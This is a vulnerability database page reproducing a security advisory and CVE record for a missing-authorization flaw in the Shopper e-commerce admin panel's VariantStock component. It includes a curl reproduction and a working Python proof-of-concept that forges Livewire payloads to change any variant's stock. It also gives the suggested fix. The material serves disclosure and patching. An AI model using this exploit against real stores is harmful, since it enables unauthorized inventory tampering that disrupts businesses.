Vulnerability-Lookup

GHSA-G3F9-G5VJ-P62F

Vulnerability from github – Published: 2026-09-11 21:29 – Updated: 2026-09-11 21:29

Summary

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Details

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopper/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T21:29:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Title\n\nUnauthorized inventory stock manipulation via unlocked variant property in VariantStock component\n\n## Description\n\nA lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `-\u003eauthorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H  Score: 8.1  (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91`\n\n```php\n// Line 34 - unprotected, client-mutable variant binding\npublic $variant;\n\n// Lines 36-91 - no -\u003eauthorize(...) on the Action\npublic function stockAction(): Action\n{\n    return Action::make(\u0027stock\u0027)\n        -\u003elabel(__(\u0027shopper::forms.actions.update\u0027))\n        -\u003ecolor(\u0027gray\u0027)\n        -\u003eicon(Untitledui::Package)\n        -\u003emodalHeading(__(\u0027shopper::pages/products.modals.variants.title\u0027))\n        -\u003emodalWidth(Width::Large)\n        -\u003eschema([\n            Select::make(\u0027inventory\u0027)\n                -\u003elabel(__(\u0027shopper::pages/products.inventory_name\u0027))\n                -\u003eoptions(Inventory::query()-\u003epluck(\u0027name\u0027, \u0027id\u0027))\n                -\u003enative(false)\n                -\u003erequired(),\n            TextInput::make(\u0027quantity\u0027)\n                -\u003elabel(__(\u0027shopper::forms.label.quantity\u0027))\n                -\u003eplaceholder(\u0027-10 or -5 or 50, etc\u0027)\n                -\u003enumeric()\n                -\u003erequired(),\n        ])\n        -\u003eaction(function (array $data): void {\n            // ...calls $this-\u003evariant-\u003emutateStock(...) or decreaseStock(...)\n            // with no permission check anywhere in this path\n        });\n}\n```\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`). No `edit_product_variants` permission is required.\n\n```bash\n# Step 1: Log in and obtain a session cookie and Livewire CSRF token.\n# Obtain them from a normal browser login, then use them below.\n\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 2: Load the product variant page for any variant ID (e.g., 1).\n# Capture the Livewire snapshot from the page source.\n\n# Step 3: Call the stock action on an arbitrary variant.\n# The wire payload sets \"component.variant\" to any variant ID in the database.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"$XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -d \u0027{\n    \"components\": [{\n      \"snapshot\": \"{\\\"id\\\":\\\"VARIANT_STOCK_COMPONENT_ID\\\",\\\"data\\\":{\\\"variant\\\":42},\\\"checksum\\\":\\\"...\\\"}\",\n      \"updates\": {},\n      \"calls\": [{\"path\":\"\",\"method\":\"callAction\",\"params\":[\"stock\",{\"inventory\":1,\"quantity\":999}]}]\n    }]\n  }\u0027\n# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVariantStock authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  value of the laravel_session cookie\n  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie\n  COMPONENT_ID    Livewire component snapshot ID (from page source)\n  VARIANT_ID      integer ID of any target variant\n  INVENTORY_ID    integer ID of the target inventory location\n  QUANTITY        integer quantity adjustment (positive or negative)\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url      = os.environ[\u0027BASE_URL\u0027]\nsession       = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf          = os.environ[\u0027XSRF_TOKEN\u0027]\ncomponent_id  = os.environ[\u0027COMPONENT_ID\u0027]\nvariant_id    = int(os.environ[\u0027VARIANT_ID\u0027])\ninventory_id  = int(os.environ[\u0027INVENTORY_ID\u0027])\nquantity      = int(os.environ[\u0027QUANTITY\u0027])\n\nheaders = {\n    \u0027Content-Type\u0027: \u0027application/json\u0027,\n    \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n    \u0027X-XSRF-TOKEN\u0027: xsrf,\n    \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n    \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\nsnapshot = json.dumps({\n    \u0027id\u0027: component_id,\n    \u0027data\u0027: {\u0027variant\u0027: variant_id},\n    \u0027checksum\u0027: \u0027UNLOCKED_PROP_NO_CHECKSUM_NEEDED\u0027,\n})\n\npayload = {\n    \u0027components\u0027: [{\n        \u0027snapshot\u0027: snapshot,\n        \u0027updates\u0027: {},\n        \u0027calls\u0027: [{\n            \u0027path\u0027: \u0027\u0027,\n            \u0027method\u0027: \u0027callAction\u0027,\n            \u0027params\u0027: [\u0027stock\u0027, {\n                \u0027inventory\u0027: inventory_id,\n                \u0027quantity\u0027: quantity,\n            }]\n        }]\n    }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nAny authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only `browse_products` can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because `$variant` is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/VariantStock.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked]                     // prevent client-side ID substitution\npublic $variant;\n\npublic function stockAction(): Action\n{\n    return Action::make(\u0027stock\u0027)\n        -\u003eauthorize(\u0027edit_product_variants\u0027)   // add this\n        // ... rest of the action\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "id": "GHSA-g3f9-g5vj-p62f",
  "modified": "2026-09-11T21:29:20Z",
  "published": "2026-09-11T21:29:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopperlabs/shopper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component"
}

CVE-2026-56829 (GCVE-0-2026-56829)

Vulnerability from cvelistv5 – Published: 2026-09-15 17:40 – Updated: 2026-09-15 19:04

Title

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Summary

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-15 19:04 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/shopperlabs/shopper/security/a…	x_refsource_CONFIRM
https://github.com/shopperlabs/shopper/pull/570	x_refsource_MISC
https://github.com/shopperlabs/shopper/commit/bf7…	x_refsource_MISC
https://github.com/shopperlabs/shopper/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
shopperlabs	shopper	Affected: < 2.9.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-56829",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T19:04:25.446927Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-15T19:04:52.685Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "shopper",
          "vendor": "shopperlabs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.9.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T17:40:01.302Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f"
        },
        {
          "name": "https://github.com/shopperlabs/shopper/pull/570",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/shopperlabs/shopper/pull/570"
        },
        {
          "name": "https://github.com/shopperlabs/shopper/commit/bf72e2753e21296184596d507336c7d65ecd46ff",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/shopperlabs/shopper/commit/bf72e2753e21296184596d507336c7d65ecd46ff"
        },
        {
          "name": "https://github.com/shopperlabs/shopper/releases/tag/v2.9.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/shopperlabs/shopper/releases/tag/v2.9.2"
        }
      ],
      "source": {
        "advisory": "GHSA-g3f9-g5vj-p62f",
        "discovery": "UNKNOWN"
      },
      "title": "Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-56829",
    "datePublished": "2026-09-15T17:40:01.302Z",
    "dateReserved": "2026-06-23T14:55:09.117Z",
    "dateUpdated": "2026-09-15T19:04:52.685Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-G3F9-G5VJ-P62F

Title

Description

Severity

Affected files

Steps to reproduce

Proof of concept

Impact

Suggested fix

Credits

CVE-2026-56829 (GCVE-0-2026-56829)

Tags

Sightings

Nomenclature

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